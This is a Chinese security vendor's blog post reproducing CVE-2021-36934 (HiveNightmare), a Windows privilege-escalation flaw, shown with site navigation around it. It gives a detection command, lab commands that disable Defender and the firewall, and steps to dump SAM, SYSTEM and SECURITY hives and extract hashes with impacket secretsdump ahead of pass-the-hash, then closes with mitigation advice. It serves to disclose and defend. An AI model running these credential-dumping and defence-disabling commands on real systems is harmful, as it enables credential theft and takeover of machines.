提交需求
*
*

*
*
*
立即提交
点击”立即提交”，表明我理解并同意 《美创科技隐私条款》
免费试用
400-811-3777

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创
    申请试用
      热门阅读
      1

      数字医学与健康大会DMHC——美创与您相约古都金陵

      2025-08-12

       2

      美创科技打造县域医疗灾备新标杆｜神木市医院 HIS 系统数据库分钟级切换演练实录

      2025-07-02

       3

      百万罚单警示！DCAS助力金融机构筑牢数据安全防线，实现监管合规

      2025-06-20

       4

      2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布

      2025-02-07

       5

      美创用户专访 | 精细化管理：医疗行业数据分类分级的策略与实践

      2025-01-10
      相关文章

      每周安全速递³⁵⁷ | 研究人员披露DireWolf勒索组织

      2025-09-08

      每周安全速递³⁵⁶ | Anthropic阻止AI驱动勒索攻击

      2025-09-01

      每周安全速递³⁵⁵ | Crypto24勒索软件研发定制EDR规避工具

      2025-08-25

      每周安全速递³⁵⁴ | Charon勒索软件攻击中东公共与航空部门

      2025-08-25

      CNVD漏洞周报2025年第29期

      2025-08-11
      CVE-2021-36934: Windows特权提升漏洞复现
      发布时间：2021-08-20 阅读次数： 225 次

      漏洞概述


      CVE-2021-36934: Windows特权提升漏洞是由于Windows对多个系统文件（包括安全账户管理器(SAM)）的访问控制列表（ACL）过于宽松所导致的特权提升漏洞。成功利用此漏洞的攻击者可以将普通用户权限提升至SYSTEM权限，并在目标机器上执行任意代码，从而达到控制目标系统的目的。但该漏洞需要开启系统保护，并设置系统还原点才可利用。


      影响版本


      Microsoft:Windows10:1809及之后的版本


      漏洞检测方法


      执行以下命令：


      icacls C:windowssystem32configsam


      如果输出BUILTINUsers:(I)(RX) 表示该系统易受攻击。




      如果输出 Accessis denied 或拒绝访问表示该系统不易受攻击。




      漏洞复现


      1）环境配置


      启用administrator用户：net useradministrator /active:yes


      设置密码：net useradministrator 123456


      关闭Defender：


      reg add"HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v"DisableAntiSpyware" /d 1 /t REG_DWORD /f


      关闭防火墙：netsh advfirewallset allprofiles state off


      启用文件和打印机共享服务：net startlanmanserver




      2）创建系统还原点




      3）使用GossiTheDog提供的工具转储SAM，SYSTEM和SECURITY文件。


      工具地址：https://github.com/GossiTheDog/HiveNightmare




      可以看到在低权限账号下，成功利用CVE-2021–36934 读取到了 SAM、SECURITY、SYSTEM 三个文件。


      4）使用impacket-secretsdump工具获取目标用户的Hash 值


      git clonehttps:


      //github.com/SecureAuthCorp/impacket.gitcd impacket/examples


      cd impacket/examples


      python3 secretsdump.py -samSAM-2021-08-11 -system SYSTEM-2021-08-11 -security SECURITY-2021-08-11 LOCAL




      5）使用msf进行哈希传递攻击，利用SMB服务获取目标系统SYSTEM权限。




      6）成功获得system权限




      处置建议


      1）限制外部对%windir%system32config文件的访问：


      1．以管理员权限打开CMD或PowerShell


      2．运行该命令：icacls %windir%system32config*.*/inheritance:e


      2）删除卷影复制服务（VSS）副本：


      1．删除限制访问%windir%system32config之前存在的所有系统还原点和卷影


      2．创建一个新的系统还原点

      上一条：每周安全速递¹⁷²｜巴西财政部遭到勒索软件攻击
      下一条：勒索软件首次成功攻击国家核心金融系统，巴西国库惨遭攻击！
      返回
      关注或联系美创
      官方订阅号 官方订阅号
      官方服务号 官方服务号
      第59号 第59号
      服务热线：400-811-3777
      商务合作：marketing@mchz.com.cn
      友情链接 中央网信办 公安部 工信部 CNCERT 中国信通院 中国软件测评中心 国家工业信息安全发展研究中心 赛迪研究院
      Copyright © 2024 杭州美创科技股份有限公司 All rights reserved.
      浙公网安备 33010502006954号 浙ICP备12021012号-1 网站地图 网站声明及隐私保护政策
      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部